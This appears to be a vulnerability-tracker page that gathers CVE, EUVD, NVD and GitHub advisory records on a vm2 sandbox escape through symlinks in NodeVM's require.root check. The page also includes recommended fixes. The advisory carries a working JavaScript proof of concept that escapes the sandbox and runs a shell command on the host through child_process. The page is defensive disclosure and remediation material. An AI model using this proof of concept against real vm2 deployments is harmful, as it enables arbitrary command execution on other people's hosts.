Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources or documents need attention: 275/275 feeds/APIs · 469/469 docs · 9/9 advisories · checked 16:11 UTC Customize Public modeDiscuss ChangeIntel on Discord

vm2: NodeVM require.root bypass via symlink traversal allows sandbox escape

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-43998

Published

vm2 is an open source vm/sandbox for Node.js. In 3.10.5, NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. This vulnerability is fixed in 3.11.0.

Source published
13 May 2026 17:19:44 UTC
Source modified
7 Sep 2026 12:04:49 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

euvd · EUVD-2026-30068

Published

vm2 is an open source vm/sandbox for Node.js. In 3.10.5, NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. This vulnerability is fixed in 3.11.0.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: May 13, 2026, 5:19:44 PM

dateUpdated: Sep 7, 2026, 12:04:49 PM

1 related source bulletins · separate from aliases

RHSA-2026:50850: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.1 security update

CVE-2026-9277 · CVE-2026-43997 · CVE-2026-43998 · CVE-2026-43999 · CVE-2026-44000 · CVE-2026-44001 · CVE-2026-44002 · CVE-2026-44003 · CVE-2026-44004 · CVE-2026-44005 · CVE-2026-44006 · CVE-2026-44007 · CVE-2026-44008 · CVE-2026-44009 · CVE-2026-45411 · CVE-2026-47131 · CVE-2026-47135 · CVE-2026-47137 · CVE-2026-47139 · CVE-2026-47140 · CVE-2026-47141 · CVE-2026-47209 · CVE-2026-48068 · CVE-2026-48801 · CVE-2026-59877

Source published
May 13, 2026, 5:19:44 PM (timezone not stated)
Source modified
Sep 7, 2026, 12:04:49 PM (timezone not stated)
Observed here
7 Nov 2026 09:37:43 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

nvd · CVE-2026-43998

Published

vm2 is an open source vm/sandbox for Node.js. In 3.10.5, NodeVM's require.root path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses path.resolve() (which does not dereference symlinks) but module loading uses Node's native require() (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. This vulnerability is fixed in 3.11.0.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Modified

Weakness classifications: CWE-59

Original publisher date fields

published: 2026-05-13T18:16:16.317

lastModified: 2026-10-26T17:10:03.270

1 source CPE criteria · context only
  • cpe:2.3:a:vm2_project:vm2:3.10.5:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
13 May 2026 18:16:16 UTC
Source modified
26 Oct 2026 17:10:03 UTC
Observed here
27 Oct 2026 11:12:09 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

CVSS 3.1 · 0b0ca135-0b70-47e7-9f44-1890c2a1c46c · Secondary · 8.5 CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

osv · GHSA-cp6g-6699-wx9c

Published

## Summary NodeVM's `require.root` path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses `path.resolve()` (which does not dereference symlinks) but module loading uses Node's native `require()` (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution. ## Severity **High** (CVSS 3.1: 8.5) `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H` - **Attack Vector:** Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code) - **Attack Complexity:** High — requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments - **Privileges Required:** Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case - **User Interaction:** None - **Scope:** Changed — the vulnerability is in the sandbox boundary; impact is on the host system - **Confidentiality Impact:** High — arbitrary file read via host command execution - **Integrity Impact:** High — arbitrary command execution on the host - **Availability Impact:** High — arbitrary command execution on the host ## Affected Component - `lib/resolver-compat.js` — `CustomResolver.isPathAllowed()` (line 53-60) - `lib/resolver-compat.js` — `CustomResolver.loadJS()` (line 62-66) - `lib/filesystem.js` — `DefaultFileSystem.resolve()` (line 8-10) ## CWE - **CWE-59**: Improper Link Resolution Before File Access ## Description ### Root Cause: Check/Use Path Discrepancy The `isPathAllowed` method validates whether a resolved filename falls within the allowed root paths using a string-prefix check: ```js // lib/resolver-compat.js:53-60 isPathAllowed(filename) { return this.rootPaths === undefined || this.rootPaths.some(path => { if (!filename.startsWith(path)) return false; const len = path.length; if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true; return this.fs.isSeparator(filename[len]); }); } ``` The filename passed to this check is resolved via `DefaultFileSystem.resolve()`, which uses `path.resolve()`: ```js // lib/filesystem.js:8-10 resolve(path) { return pa.resolve(path); } ``` `path.resolve()` normalizes the path (resolves `.`, `..`, and makes it absolute) but does **NOT** dereference symlinks. A symlink at `/root/node_modules/safe` pointing to `/outside/root/malicious` resolves to `/root/node_modules/safe` — passing the prefix check. However, the actual module loading uses Node's native `require()`, which **does** follow symlinks: ```js // lib/resolver-compat.js:62-66 loadJS(vm, mod, filename) { if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename); const m = this.hostRequire(filename); mod.exports = vm.readonly(m); } ``` ### No Symlink Defenses Exist A search for `realpath`, `readlink`, `lstat`, or any symlink-aware function across the entire `lib/` directory returns zero results. Neither `DefaultFileSystem` nor `VMFileSystem` provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks: ```js // lib/resolver-compat.js:218 const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined; ``` ### Full Execution Chain 1. Host creates `NodeVM` with `require: { external: ['safe'], root: '/tmp/root', context: 'host' }` 2. A symlink exists: `/tmp/root/node_modules/safe` → `/outside/root/vm2/` (e.g., via pnpm, npm link, or workspaces) 3. Sandbox code calls `require('safe')` 4. `DefaultResolver.resolveFull()` resolves to `/tmp/root/node_modules/safe/index.js` 5. `tryFile()` calls `this.fs.resolve(x)` → `path.resolve()` → `/tmp/root/node_modules/safe/index.js` (symlink NOT followed) 6. `isPathAllowed()` checks if path starts with `/tmp/root/` → **PASSES** 7. `loadJS()` detects `context: 'host'`, calls `this.hostRequire(filename)` 8. Node's `require()` follows the symlink, loads from `/outside/root/vm2/index.js` 9. Module executes in host realm; exports proxied to sandbox 10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with `child_process`) ## Proof of Concept ```js const path = require('path'); const fs = require('fs'); const os = require('os'); const { NodeVM } = require('vm2'); // Create an "allowed" root directory const root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-')); fs.mkdirSync(path.join(root, 'node_modules'), { recursive: true }); // Symlink inside root pointing to vm2 package outside root // In real deployments: pnpm, npm link, workspaces create these automatically const link = path.join(root, 'node_modules', 'safe'); fs.symlinkSync(path.resolve(__dirname), link, 'dir'); const vm = new NodeVM({ require: { external: ['safe'], root, context: 'host', builtin: [], // no builtins allowed }, }); // Sandbox code loads vm2 from outside root via symlink, // creates a privileged inner NodeVM to get child_process const out = vm.run(` const { NodeVM } = require('safe'); const inner = new NodeVM({ require: { builtin: ['child_process'] } }); module.exports = inner.run( "module.exports = require('child_process').execSync('id').toString()", 'inner.js' ); `, path.join(root, 'vm.js')); console.log(out.trim()); // prints host uid/gid — RCE achieved ``` ## Impact - **Sandbox escape**: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context. - **Remote code execution**: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system. - **Bypasses `require.root` entirely**: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present. - **Common in production**: pnpm (where ALL `node_modules` are symlinks), npm workspaces, and `npm link` all create the symlink conditions required for exploitation. - **Silent failure**: No error or warning is raised when a symlink traverses outside the root. ## Recommended Remediation ### Option 1: Dereference symlinks with `fs.realpathSync` before path validation (Preferred) Resolve symlinks before checking against root paths, so the validation operates on the actual filesystem location: ```js // lib/filesystem.js — add a realpath method const fs = require('fs'); class DefaultFileSystem { resolve(path) { return pa.resolve(path); } realpath(path) { return fs.realpathSync(path); } // ... rest unchanged } ``` ```js // lib/resolver-compat.js — use realpath in isPathAllowed or before calling it isPathAllowed(filename) { let realFilename; try { realFilename = this.fs.realpath(filename); } catch (e) { return false; // file doesn't exist or can't be resolved } return this.rootPaths === undefined || this.rootPaths.some(path => { if (!realFilename.startsWith(path)) return false; const len = path.length; if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true; return this.fs.isSeparator(realFilename[len]); }); } ``` Also dereference root paths at construction time: ```js // lib/resolver-compat.js:218 const checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => { const resolved = fsOpt.resolve(f); try { return fs.realpathSync(resolved); } catch (e) { return resolved; } }) : undefined; ``` **Tradeoff**: `realpathSync` adds a syscall per path check. Cache results to minimize overhead. ### Option 2: Validate the realpath in `makeExtensionHandler` / `checkAccess` Add a realpath check at the enforcement point in `Resolver.makeExtensionHandler`: ```js makeExtensionHandler(vm, name) { return (mod, filename) => { filename = this.fs.resolve(filename); // Dereference symlinks before access check try { const realFilename = fs.realpathSync(filename); if (realFilename !== filename) { // Filename was a symlink — validate the real path too this.checkAccess(mod, realFilename); } } catch (e) { throw new VMError(`Access denied to require '${filename}'`, 'EDENIED'); } this.checkAccess(mod, filename); this[name](vm, mod, filename); }; } ``` **Tradeoff**: Fixes it at a higher layer but doesn't protect custom resolvers that bypass `makeExtensionHandler`. ## Credit This vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).

Source published
7 May 2026 04:33:37 UTC
Source modified
14 May 2026 20:50:50 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 7 Nov 16:11 UTC · 275 of 275 readable · 274 fully read · documentation 469/469 current